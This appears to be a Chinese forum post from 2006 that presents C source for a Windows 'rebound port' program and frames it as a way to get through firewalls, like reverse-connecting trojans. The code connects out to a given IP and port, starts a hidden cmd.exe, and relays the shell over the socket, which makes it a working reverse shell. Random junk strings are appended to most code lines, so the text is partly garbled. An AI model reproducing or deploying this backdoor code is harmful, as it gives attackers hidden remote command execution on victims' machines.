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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 n-OQCz9Xl  
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/* ============================== vLGnLpt  
Rebound port in Windows NT F><ficT  
By wind,2006/7 q-/t?m0  
===============================*/ J"XZnb)E=  
#include l4U  
#include F4IU2_CnPD  
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#pragma comment(lib,"wsock32.lib") v]}\Ns/  
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void OutputShell(); O-3aU!L  
SOCKET sClient; StiWa<"c  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 1I40N[PE)  
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void main(int argc,char **argv) WS%yV|e  
{ D[Q/:_2l  
WSADATA stWsaData; ~_ wSB[z  
int nRet; 2AEVBkF;M  
SOCKADDR_IN stSaiClient,stSaiServer; d)d0,fi?-  
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if(argc != 3) Y+5aT(6O  
{ }hcY5E-n  
printf("Useage:\n\rRebound DestIP DestPort\n"); \m=k~Cf:f  
return; M C y~~DL  
} MSB/O.  
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WSAStartup(MAKEWORD(2,2),&stWsaData); oc#hAjB.  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7}`FXB  
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stSaiClient.sin_family = AF_INET; 7`&6l+S|  
stSaiClient.sin_port = htons(0); 8\jsGN.$JZ  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); o'8nQ Tao  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Mq_P'/  
{ DWN9_*{  
printf("Bind Socket Failed!\n"); -aV( 6i*n  
return; Pz 0TAb  
} 0E)M6 jJ  
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stSaiServer.sin_family = AF_INET; eHR]qy 0_X  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); EV7lgKM^  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); }Kn l  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) C~C`K%7  
{ P'DcNMdw  
printf("Connect Error!"); Y?L>KiM$  
return; Ty#sY'%  
} q([{WZ:6Oq  
OutputShell(); |sEuhP\A3  
} \xcf<y3_  
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void OutputShell() @4]{ZUV  
{ h@o6=d=4  
char szBuff[1024]; lD-2 5~YV  
SECURITY_ATTRIBUTES stSecurityAttributes; 0Ue~dVrM(?  
OSVERSIONINFO stOsversionInfo; }D.\2x(J  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 5:C>:pAV  
STARTUPINFO stStartupInfo; MSRk|0Mcr  
char *szShell; <lLJf8OK  
PROCESS_INFORMATION stProcessInformation; '+3C2!  
unsigned long lBytesRead; *2rc Y  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); !~vx|_$#  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); u?H.Z  
stSecurityAttributes.lpSecurityDescriptor = 0; ^@{"a  
stSecurityAttributes.bInheritHandle = TRUE; Z`U+ a  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ect$g#  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); (E,Ibz2G:e  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); &`m$Zzl;  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E31Yk D.A  
stStartupInfo.wShowWindow = SW_HIDE; Z0<s -eN:  
stStartupInfo.hStdInput = hReadPipe; hJD3G |E  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; TdT`V f  
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GetVersionEx(&stOsversionInfo); &U7h9o H  
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switch(stOsversionInfo.dwPlatformId) iz{TSU  
{ .l5-i@=W  
case 1: MLg{Y?@  
szShell = "command.com"; }`%ks  
break; c!'\k,ma<9  
default: ]61HQ  
szShell = "cmd.exe"; Px Gw5:  
break; qvK/}  
} -A=3W3:C  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); nc\2A>f`  
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send(sClient,szMsg,77,0); A~lc`m-  
while(1) ~fb#/%SV  
{ HtiIg a 7  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Cl-P6NlR".  
if(lBytesRead) RqP_^tB  
{ S'kgpF"bm  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); /BD'{tZ]Sl  
send(sClient,szBuff,lBytesRead,0); DV[FZ  
} 12m-$/5n+  
else &;)B qqXc  
{ G2?#MO  
lBytesRead=recv(sClient,szBuff,1024,0); }qhYHC  
if(lBytesRead<=0) break; rpDBKo  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); .4tu{\YX  
} ,\cV,$  
} &v t)7[  
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return; .{*l,  
}
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